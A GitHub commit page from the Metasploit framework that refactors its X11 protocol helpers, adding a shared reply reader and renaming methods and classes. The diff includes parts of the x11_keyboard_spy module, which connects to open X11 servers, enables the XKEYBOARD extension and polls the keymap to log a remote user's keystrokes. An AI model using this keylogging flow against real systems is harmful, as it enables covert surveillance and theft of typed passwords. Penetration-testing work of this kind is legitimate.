Skip to content

Commit

Permalink
Refactor some X11 code around
Browse files Browse the repository at this point in the history
Consistently refer to replys as responses
  • Loading branch information
smcintyre-r7 committed Nov 27, 2024
1 parent 4ff3897 commit b9b1ff5
Show file tree
Hide file tree
Showing 9 changed files with 73 additions and 77 deletions.
1 change: 1 addition & 0 deletions lib/msf/core/exploit/remote/x11.rb
Original file line number Diff line number Diff line change
Expand Up @@ -3,4 +3,5 @@
module Msf::Exploit::Remote::X11
include Msf::Exploit::Remote::X11::Connect
include Msf::Exploit::Remote::X11::Extension
include Msf::Exploit::Remote::X11::Read
end
2 changes: 1 addition & 1 deletion lib/msf/core/exploit/remote/x11/connect.rb
Original file line number Diff line number Diff line change
Expand Up @@ -36,7 +36,7 @@ def x11_connect

# print out the information for an x11 connection which was
# successfully established
def print_connection_info(connection, ip, port)
def x11_print_connection_info(connection, ip, port)
print_good("#{ip} - Successfully established X11 connection")
vprint_status(" Vendor: #{connection.body.vendor}")
vprint_status(" Version: #{connection.header.protocol_version_major}.#{connection.header.protocol_version_minor}")
Expand Down
27 changes: 5 additions & 22 deletions lib/msf/core/exploit/remote/x11/extension.rb
Original file line number Diff line number Diff line change
Expand Up @@ -7,41 +7,24 @@
#

module Msf::Exploit::Remote::X11::Extension
include Msf::Exploit::Remote::X11::Read
include Rex::Proto::X11::Extension

# Query for an extension, converts the name of the extension to the ID #
def query_extension(extension_name, call_count)
def x11_query_extension(extension_name, call_count)
sock.put(X11QueryExtensionRequest.new(extension: extension_name, unused2: call_count).to_binary_s)
packet = ''
result = nil
begin
packet = sock.timed_read(X11QueryExtensionResponse.new.num_bytes)
# for debugging, print the following line
# puts packet.bytes.map { |b| '\\x' + b.to_s(16).rjust(2, '0') }.join
result = X11QueryExtensionResponse.read(packet)
rescue StandardError => e
vprint_bad("Error (#{e}) processing data: #{packet.bytes.map { |b| %(\\x) + b.to_s(16).rjust(2, '0') }.join}")
end
result
x11_read_reply(X11QueryExtensionResponse)
end

# toggles an extension on or off (enable/disable)
def toggle_extension(extension_id, wanted_major: 0, toggle: true)
def x11_toggle_extension(extension_id, wanted_major: 0, toggle: true)
sock.put(
X11ExtensionToggleRequest.new(
opcode: extension_id,
toggle: (toggle ? 0 : 1), # 0 is enable, 1 is disable
wanted_major: wanted_major
).to_binary_s
)
packet = ''
result = nil
begin
packet = sock.timed_read(X11ExtensionToggleReply.new.num_bytes)
result = X11ExtensionToggleReply.read(packet)
rescue StandardError => e
vprint_bad("Error (#{e}) processing data: #{packet.bytes.map { |b| %(\\x) + b.to_s(16).rjust(2, '0') }.join}")
end
result
x11_read_reply(X11ExtensionToggleResponse)
end
end
46 changes: 46 additions & 0 deletions lib/msf/core/exploit/remote/x11/read.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
# -*- coding: binary -*-

module Msf::Exploit::Remote::X11::Read
def x11_read_reply(klass, timeout: 10)
unless klass.fields.field_name?(:response_length)
raise ::ArgumentError, 'X11 class must have the response_length field to be read'
end

remaining = timeout
reply_instance = klass.new

metalength = reply_instance.response_length.num_bytes
buffer, elapsed_time = Rex::Stopwatch.elapsed_time do
sock.read(reply_instance.response_length.abs_offset + metalength, remaining)
end
raise ::EOFError, 'X11: failed to read response' if buffer.nil?

remaining -= elapsed_time

# see: https://www.x.org/releases/X11R7.7/doc/xproto/x11protocol.html#request_format
response_length = reply_instance.response_length.read(buffer[-metalength..]).value
response_length *= 4 # field is in 4-byte units
response_length += 32 # 32 byte header is not included

while buffer.length < response_length && remaining > 0
chunk, elapsed_time = Rex::Stopwatch.elapsed_time do
sock.read(response_length - buffer.length, remaining)
end

remaining -= elapsed_time
break if chunk.nil?

buffer << chunk
end

unless buffer.length == response_length
if remaining <= 0
raise Rex::TimeoutError, 'X11: failed to read response due to timeout'
end

raise ::EOFError, 'X11: failed to read response'
end

reply_instance.read(buffer)
end
end
15 changes: 2 additions & 13 deletions lib/rex/proto/x11.rb
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@ class X11Error < BinData::Record
end

# https://xcb.freedesktop.org/manual/structxcb__get__property__reply__t.html
class X11GetPropertyResponseHeader < BinData::Record
class X11GetPropertyResponse < BinData::Record
endian :little
uint8 :reply
uint8 :format
Expand All @@ -35,21 +35,10 @@ class X11GetPropertyResponseHeader < BinData::Record
uint32 :get_property_type # 8bit boolean, \x01 == true \x00 == false
uint32 :bytes_after
uint32 :value_length
uint32 :pad0
uint32 :pad1
uint32 :pad2
end

# https://xcb.freedesktop.org/manual/structxcb__get__property__reply__t.html
class X11GetPropertyResponseData < BinData::Record
uint8_array :pad0, initial_length: 12
rest :value_data
end

class X11GetPropertyResponse < BinData::Record
x11_get_property_response_header :header
x11_get_property_response_data :data
end

# https://xcb.freedesktop.org/manual/structxcb__intern__atom__reply__t.html
class X11InternAtomResponse < BinData::Record
endian :little
Expand Down
14 changes: 3 additions & 11 deletions lib/rex/proto/x11/extension.rb
Original file line number Diff line number Diff line change
Expand Up @@ -18,10 +18,6 @@ class X11QueryExtensionResponse < BinData::Record
uint8 :major_opcode # this is the ID of the extension
uint8 :first_event
uint8 :first_error
# 64 + 64 + 32 padding 'undecoded' in wireshark
uint64 :pad1
uint64 :pad2
uint32 :pad3
end

# https://xcb.freedesktop.org/manual/structxcb__query__extension__request__t.html
Expand Down Expand Up @@ -50,16 +46,12 @@ def versions?
end

# built based on Wireshark processor
class X11ExtensionToggleReply < BinData::Record
class X11ExtensionToggleResponse < BinData::Record
endian :little
uint8 :reply
uint8 :pad0
uint16 :reply_sequence_number
uint32 :reply_length
uint16 :sequence_number
uint32 :response_length
uint32 :maximum_request_length
# 64 + 64 + 32 padding 'undecoded' in wireshark
uint64 :pad1
uint64 :pad2
uint32 :pad3
end
end
8 changes: 3 additions & 5 deletions lib/rex/proto/x11/xkeyboard.rb
Original file line number Diff line number Diff line change
Expand Up @@ -150,7 +150,7 @@ class X11GetMapRequest < BinData::Record
end

# https://xcb.freedesktop.org/manual/structxcb__xkb__get__map__reply__t.html
class X11GetMapReply < BinData::Record
class X11GetMapResponse < BinData::Record
endian :little
uint8 :reply
uint8 :device_id
Expand Down Expand Up @@ -351,16 +351,14 @@ class X11QueryKeyMapRequest < BinData::Record
end

# https://xcb.freedesktop.org/manual/structxcb__query__keymap__reply__t.html
class X11QueryKeyMapReply < BinData::Record
class X11QueryKeyMapResponse < BinData::Record
endian :little
uint8 :reply
uint8 :pad
uint16 :sequence_number
uint32 :response_length
# byte sequence
array :data,
type: :uint8,
read_until: :eof
uint8_array :data, initial_length: 32
end

# https://xcb.freedesktop.org/manual/structxcb__xkb__bell__request__t.html
Expand Down
35 changes: 11 additions & 24 deletions modules/auxiliary/gather/x11_keyboard_spy.rb
Original file line number Diff line number Diff line change
Expand Up @@ -145,13 +145,13 @@ def run
fail_with(Msf::Module::Failure::UnexpectedReply, 'Port connected, but no response to X11 connection attempt') if connection.nil?

if connection.header.success == 1
print_connection_info(connection, datastore['RHOST'], rport)
x11_print_connection_info(connection, datastore['RHOST'], rport)
else
fail_with(Msf::Module::Failure::UnexpectedReply, 'X11 connection not successful')
end

vprint_status('[2/9] Checking on BIG-REQUESTS extension')
big_requests_plugin = query_extension('BIG-REQUESTS', query_extension_call_counter)
big_requests_plugin = x11_query_extension('BIG-REQUESTS', query_extension_call_counter)
fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to process response') if big_requests_plugin.nil?
if big_requests_plugin.present == 1
print_good(" Extension BIG-REQUESTS is present with id #{big_requests_plugin.major_opcode}")
Expand All @@ -160,7 +160,7 @@ def run
end

vprint_status('[3/9] Enabling BIG-REQUESTS')
toggle = toggle_extension(big_requests_plugin.major_opcode)
toggle = x11_toggle_extension(big_requests_plugin.major_opcode)
fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to enable extension') if toggle.nil?

vprint_status('[4/9] Creating new graphical context')
Expand All @@ -181,18 +181,10 @@ def run

# nothing valuable in the response, just make sure we read it in to
# confirm its expected data and not leave the response on the socket
begin
packet = sock.timed_read(X11GetPropertyResponseHeader.new.num_bytes)
packet_header = X11GetPropertyResponseHeader.read(packet)

packet = sock.timed_read(packet_header.value_length * 4)
X11GetPropertyResponseData.read(packet)
rescue StandardError => e
vprint_bad("Error (#{e}) processing data: #{packet.bytes.map { |b| %(\\x) + b.to_s(16).rjust(2, '0') }.join}")
end
x11_read_reply(X11GetPropertyResponse)

vprint_status('[5/9] Checking on XKEYBOARD extension')
xkeyboard_plugin = query_extension('XKEYBOARD', query_extension_call_counter)
xkeyboard_plugin = x11_query_extension('XKEYBOARD', query_extension_call_counter)
fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to process response') if xkeyboard_plugin.nil?
if xkeyboard_plugin.present == 1
print_good(" Extension XKEYBOARD is present with id #{xkeyboard_plugin.major_opcode}")
Expand All @@ -201,23 +193,16 @@ def run
end

vprint_status('[6/9] Enabling XKEYBOARD')
toggle = toggle_extension(xkeyboard_plugin.major_opcode, wanted_major: 1)
toggle = x11_toggle_extension(xkeyboard_plugin.major_opcode, wanted_major: 1)
fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to enable extension') if toggle.nil?

vprint_status('[7/9] Requesting XKEYBOARD map')
sock.put(X11GetMapRequest.new(xkeyboard_id: xkeyboard_plugin.major_opcode,
full_key_types: 1,
full_key_syms: 1,
full_modifier_map: 1).to_binary_s)
map_raw_data = sock.get_once(-1, 1)
# for debugging packet output, uncomment following line
# puts data.bytes.map { |b| "\\x" + b.to_s(16).rjust(2, '0') }.join
begin
map_data = X11GetMapReply.read(map_raw_data)
rescue EOFError
debug_data = map_raw_data.bytes.map { |b| '\\x' + b.to_s(16).rjust(2, '0') }.join
fail_with(Msf::Module::Failure::UnexpectedReply, "Unable to process X11GetMapReply response (EOFError): #{debug_data}")
end

map_data = x11_read_reply(X11GetMapResponse)

vprint_status('[8/9] Enabling notification on keyboard and map')
sock.put(X11SelectEvents.new(xkeyboard_id: xkeyboard_plugin.major_opcode,
Expand Down Expand Up @@ -247,10 +232,12 @@ def run
printerval = datastore['PRINTERVAL'].to_i
begin
loop do
# sleep 1
break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC))

sock.put(X11QueryKeyMapRequest.new.to_binary_s)
bit_array_of_keystrokes = X11QueryKeyMapReply.read(sock.get_once(-1, 1)).data
query_key_map_response = x11_read_reply(X11QueryKeyMapResponse)
bit_array_of_keystrokes = query_key_map_response.data
# we poll FAR quicker than a normal key press, so we need to filter repeats
unless bit_array_of_keystrokes == last_key_press_array # skip repeats
translate_keystroke(bit_array_of_keystrokes, key_map, last_key_press_array) unless bit_array_of_keystrokes == empty
Expand Down
2 changes: 1 addition & 1 deletion modules/auxiliary/scanner/x11/open_x11.rb
Original file line number Diff line number Diff line change
Expand Up @@ -50,7 +50,7 @@ def run_host(ip)
end

if connection.header.success == 1
print_connection_info(connection, ip, rport)
x11_print_connection_info(connection, ip, rport)
report_service(
host: rhost,
proto: 'tcp',
Expand Down

0 comments on commit b9b1ff5

Please sign in to comment.